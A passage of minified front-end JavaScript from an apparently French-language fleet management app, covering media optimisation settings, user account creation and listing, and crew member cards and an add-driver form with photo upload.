(secondes)&quot;}),a.jsx(Xe,{id:&quot;audioMaxDurationSec&quot;,type:&quot;number&quot;,min:&quot;5&quot;,max:&quot;120&quot;,step:&quot;1&quot;,value:o.audioMaxDurationSec??ra.audioMaxDurationSec,onChange:u=&gt;{const h=parseInt(u.target.value);isNaN(h)||l(p=&gt;({...p,audioMaxDurationSec:h}))},className:&quot;w-32&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Durée maximale d&#039;enregistrement audio (5-120s). Par défaut: 30s&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;audioBitrateKbps&quot;,children:&quot;Débit binaire (kbps)&quot;}),a.jsx(Xe,{id:&quot;audioBitrateKbps&quot;,type:&quot;number&quot;,min:&quot;12&quot;,max:&quot;96&quot;,step:&quot;4&quot;,value:o.audioBitrateKbps??ra.audioBitrateKbps,onChange:u=&gt;{const h=parseInt(u.target.value);isNaN(h)||l(p=&gt;({...p,audioBitrateKbps:h}))},className:&quot;w-32&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Débit binaire en kbps (12-96). Plus bas = fichier plus léger. Par défaut: 24 kbps&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;audioChannels&quot;,children:&quot;Nombre de canaux&quot;}),a.jsxs(rn,{value:String(o.audioChannels??ra.audioChannels),onValueChange:u=&gt;l(h=&gt;({...h,audioChannels:parseInt(u)})),children:[a.jsx(Xr,{id:&quot;audioChannels&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;1&quot;,children:&quot;Mono (1 canal) - Recommandé&quot;}),a.jsx(Qt,{value:&quot;2&quot;,children:&quot;Stéréo (2 canaux)&quot;})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Mono est recommandé pour réduire la taille des fichiers&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;audioMaxSizeBytes&quot;,children:&quot;Taille maximale (MB)&quot;}),a.jsx(Xe,{id:&quot;audioMaxSizeBytes&quot;,type:&quot;number&quot;,min:&quot;1&quot;,max:&quot;10&quot;,step:&quot;1&quot;,value:o.audioMaxSizeBytes?Math.round(o.audioMaxSizeBytes/(1024*1024)):Math.round(ra.audioMaxSizeBytes/(1024*1024)),onChange:u=&gt;{const h=parseInt(u.target.value);!isNaN(h)&amp;&amp;h&gt;0&amp;&amp;l(p=&gt;({...p,audioMaxSizeBytes:h*1024*1024}))},className:&quot;w-32&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Taille maximale du fichier audio (1-10 MB). Par défaut: 2 MB&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;audioThumbnailWaveformEnabled&quot;,children:&quot;Activer la visualisation waveform&quot;}),a.jsxs(rn,{value:String(!!(o.audioThumbnailWaveformEnabled??ra.audioThumbnailWaveformEnabled)),onValueChange:u=&gt;l(h=&gt;({...h,audioThumbnailWaveformEnabled:u===&quot;true&quot;})),children:[a.jsx(Xr,{id:&quot;audioThumbnailWaveformEnabled&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;true&quot;,children:&quot;Activé&quot;}),a.jsx(Qt,{value:&quot;false&quot;,children:&quot;Désactivé&quot;})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Affiche une visualisation de la forme d&#039;onde de l&#039;audio (optionnel)&quot;})]}),a.jsx(&quot;div&quot;,{className:&quot;flex justify-end gap-2 pt-4 border-t&quot;,children:a.jsx(ge,{type:&quot;submit&quot;,disabled:c.isPending,children:c.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Sauvegarde...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(A4,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Sauvegarder&quot;]})})})]})]})}function Kqe(){return a.jsx(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(ry,{className:&quot;h-5 w-5&quot;}),a.jsx(jr,{children:&quot;Optimisations médias&quot;})]}),a.jsx(wn,{children:&quot;Configurez les paramètres d&#039;optimisation pour les images, vidéos et fichiers audio. Ces paramètres permettent de réduire la consommation de données et d&#039;accélérer les uploads.&quot;})]}),a.jsxs(Et,{className:&quot;space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-semibold mb-4&quot;,children:&quot;Images&quot;}),a.jsx(Gqe,{})]}),a.jsxs(&quot;div&quot;,{className:&quot;border-t pt-6&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-semibold mb-4&quot;,children:&quot;Vidéos&quot;}),a.jsx(Vqe,{})]}),a.jsxs(&quot;div&quot;,{className:&quot;border-t pt-6&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-semibold mb-4&quot;,children:&quot;Audio&quot;}),a.jsx(Wqe,{})]})]})]})})}const Yqe={admin:&quot;Administrateur&quot;,gestionnaire_parc:&quot;Gestionnaire Parc&quot;,gestionnaire_mobile:&quot;Gestionnaire Mobile&quot;,secretaire:&quot;Secrétaire&quot;,comptable:&quot;Comptable&quot;,atelier:&quot;Atelier&quot;,chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;},Zqe=[&quot;admin&quot;,&quot;gestionnaire_parc&quot;,&quot;gestionnaire_mobile&quot;,&quot;secretaire&quot;,&quot;comptable&quot;,&quot;atelier&quot;,&quot;chauffeur&quot;,&quot;apprenti&quot;];function Jqe({open:e,onOpenChange:t}){const[r,n]=I.useState(&quot;new&quot;),[i,s]=I.useState({phone:&quot;&quot;,name:&quot;&quot;,role:&quot;apprenti&quot;,password:&quot;&quot;,email:&quot;&quot;}),[o,l]=I.useState(null),{toast:c}=Er(),[,d]=Gi(),{data:u=[],isLoading:h}=cr({queryKey:[&quot;crew-members-for-conversion&quot;],queryFn:wHe,enabled:r===&quot;from-crew&quot;&amp;&amp;e}),p=_r({mutationFn:async()=&gt;{if(r===&quot;new&quot;){const v=i.phone.replace(/\s+/g,&quot;&quot;);return await mHe({...i,phone:v})}else{if(!o)throw new Error(&quot;Veuillez sélectionner un membre d&#039;équipage&quot;);return await pHe(o,i.email,i.password,i.role)}},onSuccess:v=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/users&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/crew-members&quot;]}),c({title:&quot;Succès&quot;,description:&quot;L&#039;utilisateur a été créé avec succès&quot;,action:a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;{t(!1),d(`/utilisateurs/${v.id}`)},children:&quot;Compléter le profil&quot;})}),t(!1),s({phone:&quot;&quot;,name:&quot;&quot;,role:&quot;apprenti&quot;,password:&quot;&quot;,email:&quot;&quot;}),l(null)},onError:v=&gt;{c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:v.message||&quot;Impossible de créer l&#039;utilisateur&quot;})}}),A=()=&gt;{if(r===&quot;new&quot;){if(!i.phone||!i.name||!i.role){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez remplir tous les champs obligatoires&quot;});return}}else if(!o){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un membre d&#039;équipage&quot;});return}p.mutate()},y=p.isPending;return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;max-w-2xl&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Créer un utilisateur&quot;}),a.jsx(Mn,{children:&quot;Créez un nouveau compte utilisateur. Le téléphone est l&#039;identifiant principal.&quot;})]}),a.jsxs(ul,{value:r,onValueChange:v=&gt;n(v),className:&quot;mt-4&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-2&quot;,children:[a.jsx(hn,{value:&quot;new&quot;,children:&quot;Nouveau&quot;}),a.jsx(hn,{value:&quot;from-crew&quot;,children:&quot;Depuis équipage&quot;})]}),a.jsxs(dn,{value:&quot;new&quot;,className:&quot;space-y-4 mt-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;phone&quot;,children:[&quot;Téléphone &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;phone&quot;,value:i.phone,onChange:v=&gt;s({...i,phone:v.target.value}),placeholder:&quot;+22670123456&quot;,required:!0}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Identifiant principal. Doit être unique.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;name&quot;,children:[&quot;Nom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;name&quot;,value:i.name,onChange:v=&gt;s({...i,name:v.target.value}),placeholder:&quot;Nom complet&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;email&quot;,children:[&quot;Email &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;email&quot;,type:&quot;email&quot;,value:i.email,onChange:v=&gt;s({...i,email:v.target.value}),placeholder:&quot;email@example.com&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;role&quot;,children:[&quot;Rôle &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:i.role,onValueChange:v=&gt;s({...i,role:v}),children:[a.jsx(Xr,{id:&quot;role&quot;,children:a.jsx(nn,{})}),a.jsx(en,{children:Zqe.map(v=&gt;a.jsx(Qt,{value:v,children:Yqe[v]},v))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;password&quot;,children:&quot;Mot de passe (optionnel)&quot;}),a.jsx(Xe,{id:&quot;password&quot;,type:&quot;password&quot;,value:i.password,onChange:v=&gt;s({...i,password:v.target.value}),placeholder:&quot;Laisser vide pour générer un mot de passe par défaut&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Si non fourni, un mot de passe par défaut sera généré.&quot;})]})]}),a.jsx(dn,{value:&quot;from-crew&quot;,className:&quot;space-y-4 mt-4&quot;,children:h?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):u.length===0?a.jsx(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:a.jsx(&quot;p&quot;,{children:&quot;Aucun membre d&#039;équipage disponible sans compte utilisateur.&quot;})}):a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;crew-member&quot;,children:[&quot;Membre d&#039;équipage &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:o?.toString()||&quot;&quot;,onValueChange:v=&gt;l(parseInt(v)),children:[a.jsx(Xr,{id:&quot;crew-member&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un membre d&#039;équipage&quot;})}),a.jsx(en,{children:u.map(v=&gt;a.jsxs(Qt,{value:v.id.toString(),children:[v.prenom,&quot; &quot;,v.nom,&quot; (&quot;,v.role===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:&quot;Apprenti&quot;,&quot;)&quot;]},v.id))})]}),o&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Le nom et le téléphone seront pré-remplis depuis le membre d&#039;équipage.&quot;})]}),o&amp;&amp;a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;crew-email&quot;,children:[&quot;Email &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;crew-email&quot;,type:&quot;email&quot;,value:i.email,onChange:v=&gt;s({...i,email:v.target.value}),placeholder:&quot;email@example.com&quot;,required:!0})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;crew-role&quot;,children:&quot;Rôle (optionnel)&quot;}),a.jsxs(rn,{value:i.role,onValueChange:v=&gt;s({...i,role:v}),children:[a.jsx(Xr,{id:&quot;crew-role&quot;,children:a.jsx(nn,{})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;chauffeur&quot;,children:&quot;Chauffeur&quot;}),a.jsx(Qt,{value:&quot;apprenti&quot;,children:&quot;Apprenti&quot;})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Par défaut, le rôle du membre d&#039;équipage sera utilisé.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;crew-password&quot;,children:&quot;Mot de passe (optionnel)&quot;}),a.jsx(Xe,{id:&quot;crew-password&quot;,type:&quot;password&quot;,value:i.password,onChange:v=&gt;s({...i,password:v.target.value}),placeholder:&quot;Laisser vide pour générer un mot de passe par défaut&quot;})]})]})]})})]}),a.jsxs(Na,{children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;t(!1),disabled:y,children:&quot;Annuler&quot;}),a.jsx(ge,{onClick:A,disabled:y,children:y?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Création...&quot;]}):&quot;Créer&quot;})]})]})})}const cO={admin:&quot;Administrateur&quot;,gestionnaire_parc:&quot;Gestionnaire Parc&quot;,gestionnaire_mobile:&quot;Gestionnaire Mobile&quot;,secretaire:&quot;Secrétaire&quot;,comptable:&quot;Comptable&quot;,atelier:&quot;Atelier&quot;,chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;};function Xqe(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(!1),[i,s]=I.useState(null),{toast:o}=Er(),[,l]=Gi(),{data:c,isLoading:d,error:u}=cr({queryKey:[&quot;users&quot;],queryFn:()=&gt;T_({per_page:100})}),h=c?.data||[];u&amp;&amp;console.error(&quot;Erreur lors du chargement des utilisateurs:&quot;,u);const p=_r({mutationFn:AHe,onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;users&quot;]}),o({title:&quot;Succès&quot;,description:&quot;L&#039;utilisateur a été supprimé avec succès&quot;}),s(null)},onError:E=&gt;{o({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:E.message||&quot;Impossible de supprimer l&#039;utilisateur&quot;})}}),A=h.filter(E=&gt;E.name.toLowerCase().includes(e.toLowerCase())||E.email?.toLowerCase().includes(e.toLowerCase())||E.phone?.includes(e)||cO[E.role]?.toLowerCase().includes(e.toLowerCase())),y=E=&gt;{l(`/parametres/utilisateurs/${E.id}`)},v=E=&gt;{s(E)},w=()=&gt;{i&amp;&amp;p.mutate(i)},j=d;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg md:text-xl font-semibold&quot;,children:&quot;Utilisateurs&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez les comptes utilisateurs et leurs liens avec les membres d&#039;équipage&quot;})]}),a.jsxs(ge,{onClick:()=&gt;n(!0),className:&quot;h-12&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un utilisateur&quot;]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:E=&gt;t(E.target.value),className:&quot;pl-9 h-12&quot;})]})}),j?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):u?a.jsx(it,{children:a.jsx(Et,{className:&quot;py-12&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center text-destructive&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Erreur lors du chargement des utilisateurs&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm mt-2&quot;,children:u instanceof Error?u.message:&quot;Une erreur est survenue&quot;})]})})}):a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Liste des utilisateurs&quot;}),a.jsxs(wn,{children:[A.length,&quot; utilisateur&quot;,A.length&gt;1?&quot;s&quot;:&quot;&quot;]})]}),a.jsx(Et,{children:a.jsxs(nx,{children:[a.jsx(ix,{children:a.jsxs(n0,{children:[a.jsx(bi,{children:&quot;Nom d&#039;utilisateur&quot;}),a.jsx(bi,{children:&quot;Rôle&quot;}),a.jsx(bi,{children:&quot;Membre d&#039;équipage&quot;}),a.jsx(bi,{className:&quot;text-right&quot;,children:&quot;Actions&quot;})]})}),a.jsx(ax,{children:A.length===0?a.jsx(n0,{children:a.jsx(mi,{colSpan:4,className:&quot;text-center text-muted-foreground&quot;,children:&quot;Aucun utilisateur trouvé&quot;})}):A.map(E=&gt;a.jsxs(n0,{children:[a.jsx(mi,{className:&quot;font-medium&quot;,children:a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;div&quot;,{children:E.name}),E.phone&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:E.phone})]})}),a.jsx(mi,{children:cO[E.role]||E.role}),a.jsx(mi,{children:E.crew_member?a.jsxs(&quot;span&quot;,{className:&quot;text-sm&quot;,children:[E.crew_member.prenom,&quot; &quot;,E.crew_member.nom]}):a.jsx(&quot;span&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Non lié&quot;})}),a.jsx(mi,{className:&quot;text-right&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex justify-end gap-2&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,onClick:()=&gt;y(E),title:&quot;Éditer&quot;,children:a.jsx($m,{className:&quot;h-4 w-4&quot;})}),a.jsx(ge,{variant:&quot;destructive&quot;,size:&quot;sm&quot;,onClick:()=&gt;v(E.id),children:a.jsx(Ns,{className:&quot;h-4 w-4&quot;})})]})})]},E.id))})]})})]}),a.jsx(Jqe,{open:r,onOpenChange:n}),a.jsx(du,{open:i!==null,onOpenChange:()=&gt;s(null),children:a.jsxs(yc,{children:[a.jsxs(bc,{children:[a.jsx(Ec,{children:&quot;Confirmer la suppression&quot;}),a.jsx(Cc,{children:&quot;Êtes-vous sûr de vouloir supprimer cet utilisateur ? Cette action est irréversible.&quot;})]}),a.jsxs(wc,{children:[a.jsx(jc,{children:&quot;Annuler&quot;}),a.jsx(Ic,{onClick:w,children:&quot;Supprimer&quot;})]})]})})]})}const eGe={chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;,mecanique:&quot;Mécanicien&quot;,superviseur:&quot;Superviseur&quot;};function tGe({crewMember:e,onEdit:t,onDelete:r}){const n=Ww[e.role]||Ww.chauffeur,i=eGe[e.role]||e.role;return a.jsxs(it,{&quot;data-testid&quot;:`card-crew-member-${e.id}`,className:&quot;hover-elevate transition-all duration-200 group&quot;,children:[a.jsx(br,{className:&quot;space-y-4 pb-4 pt-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-4&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 transition-transform duration-200 group-hover:scale-105&quot;,children:e.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(e.photoUrl)||void 0,alt:`${e.prenom} ${e.nom}`,className:&quot;w-20 h-20 md:w-24 md:h-24 rounded-full object-cover border-2 border-border shadow-md&quot;,onError:s=&gt;{s.target.style.display=&quot;none&quot;;const o=s.target.parentElement;if(o){const l=document.createElement(&quot;div&quot;);l.className=&quot;w-20 h-20 md:w-24 md:h-24 rounded-full bg-muted flex items-center justify-center border-2 border-border text-2xl font-semibold text-muted-foreground&quot;,l.textContent=e.prenom.charAt(0).toUpperCase(),o.appendChild(l)}}}):a.jsx(&quot;div&quot;,{className:&quot;w-20 h-20 md:w-24 md:h-24 rounded-full bg-muted flex items-center justify-center border-2 border-border text-2xl font-semibold text-muted-foreground&quot;,children:e.prenom.charAt(0).toUpperCase()})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0 pt-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2 mb-2&quot;,children:[a.jsxs(&quot;h3&quot;,{className:&quot;text-lg md:text-xl font-semibold truncate&quot;,&quot;data-testid&quot;:`text-name-${e.id}`,children:[e.prenom,&quot; &quot;,e.nom]}),a.jsx(N1,{cardData:{type:&quot;crew&quot;,title:`${e.prenom} ${e.nom}`,details:{role:i,telephone:e.telephone||void 0}},size:&quot;sm&quot;})]}),a.jsx(yt,{variant:&quot;secondary&quot;,className:`${n.badge} border font-semibold text-xs px-2.5 py-1`,&quot;data-testid&quot;:`badge-role-${e.id}`,children:i})]})]})}),a.jsxs(Et,{className:&quot;pb-4 space-y-3&quot;,children:[e.linkedUsername&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Compte utilisateur&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(nh,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,&quot;data-testid&quot;:`text-user-${e.id}`,children:e.linkedUsername})]})]}),e.telephone&amp;&amp;a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Téléphone&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(M6,{className:&quot;h-4 w-4 text-muted-foreground&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,&quot;data-testid&quot;:`text-phone-${e.id}`,children:e.telephone})]})]})]}),a.jsxs(_m,{className:&quot;gap-2 pt-4 border-t flex-wrap&quot;,children:[a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t?.(e.id),&quot;data-testid&quot;:`button-edit-${e.id}`,className:&quot;flex-1 min-w-[100px] h-10&quot;,children:[a.jsx(z1,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Modifier&quot;]}),a.jsxs(ge,{size:&quot;sm&quot;,variant:&quot;outline&quot;,onClick:()=&gt;r?.(e.id),&quot;data-testid&quot;:`button-delete-${e.id}`,className:&quot;flex-1 min-w-[100px] h-10 text-destructive hover:text-destructive&quot;,children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Supprimer&quot;]})]})]})}const rGe={chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;};function nGe({onAdd:e,trigger:t,open:r,onOpenChange:n}){const[i,s]=I.useState(!1),o=r!==void 0?r:i,l=n||s,{toast:c}=Er(),[d,u]=I.useState({nom:&quot;&quot;,prenom:&quot;&quot;,role:&quot;chauffeur&quot;,telephone:void 0,photoUrl:void 0}),[h,p]=I.useState(null),[A,y]=I.useState(null),[v,w]=I.useState(!1),j=C=&gt;{const Q=C.target.files?.[0];if(Q){if(!Q.type.startsWith(&quot;image/&quot;)){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier image&quot;});return}if(Q.size&gt;5*1024*1024){c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le fichier est trop volumineux (max 5MB)&quot;});return}p(Q);const R=new FileReader;R.onloadend=()=&gt;{y(R.result)},R.readAsDataURL(Q),u({...d,photoUrl:void 0})}},E=()=&gt;{p(null),y(null)},S=async()=&gt;{if(!h)return null;w(!0);try{const C=new FormData;C.append(&quot;photo&quot;,h);const Q=$s(&quot;/api/upload/crew-member-photo&quot;);if(!Q.startsWith(&quot;http://&quot;)&amp;&amp;!Q.startsWith(&quot;https://&quot;))throw new Error(`URL invalide: ${Q}. VITE_API_BASE_URL doit être défini.`);const R=Vd(),T={};R&amp;&amp;(T.Authorization=`Bearer ${R}`);const M=await fetch(Q,{method:&quot;POST&quot;,headers:T,body:C,credentials:&quot;include&quot;});if(!M.ok){const $=await M.json().catch(()=&gt;({message:&quot;Erreur lors de l&#039;upload&quot;}));throw new Error($.message||&quot;Erreur lors de l&#039;upload&quot;)}const O=await M.json();return{url:O.url,publicId:O.publicId}}catch(C){return c({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:C instanceof Error?C.message:&quot;Erreur lors de l&#039;upload du fichier&quot;}),null}finally{w(!1)}},_=async C=&gt;{C.preventDefault();let Q=d.photoUrl?.trim()||void 0,R;if(h){const M=await S();if(M)Q=M.url,R=M.publicId;else return}const T={...d,photoUrl:Q,photoCloudinaryPublicId:R,nom:d.nom.trim(),prenom:d.prenom.trim(),telephone:d.telephone?.trim()||void 0};e?.(T),l(!1),u({nom:&quot;&quot;,prenom:&quot;&quot;,role:&quot;chauffeur&quot;,telephone:void 0,photoUrl:void 0}),p(null),y(null)};return a.jsxs(En,{open:o,onOpenChange:l,children:[a.jsx(ah,{asChild:!0,children:t||a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-crew-member&quot;,className:&quot;w-full md:w-auto&quot;,children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Ajouter un chauffeur&quot;]})}),a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Ajouter un chauffeur&quot;}),a.jsx(Mn,{children:&quot;Entrez les détails du chauffeur ou de l&#039;apprenti à ajouter.&quot;})]}),a.jsxs(&quot;form&quot;,{onSubmit:_,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;prenom&quot;,children:[&quot;Prénom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;prenom&quot;,placeholder:&quot;Amadou&quot;,value:d.prenom,onChange:C=&gt;u({...d,prenom:C.target.value}),className:&quot;h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-first-name&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;nom&quot;,children:[&quot;Nom &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;nom&quot;,placeholder:&quot;Ouédraogo&quot;,value:d.nom,onChange:C=&gt;u({...d,nom:C.target.value}),className:&quot;h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-last-name&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;role&quot;,children:[&quot;Rôle &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:d.role,onValueChange:C=&gt;u({...d,role:C}),required:!0,children:[a.jsx(Xr,{id:&quot;role&quot;,&quot;data-testid&quot;:&quot;select-role&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un rôle&quot;})}),a.jsx(en,{children:S_.map(C=&gt;a.jsx(Qt,{value:C,children:rGe[C]||C},C))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;telephone&quot;,children:&quot;Téléphone&quot;}),a.jsx(Xe,{id:&quot;telephone&quot;,placeholder:&quot;+226 70 12 34 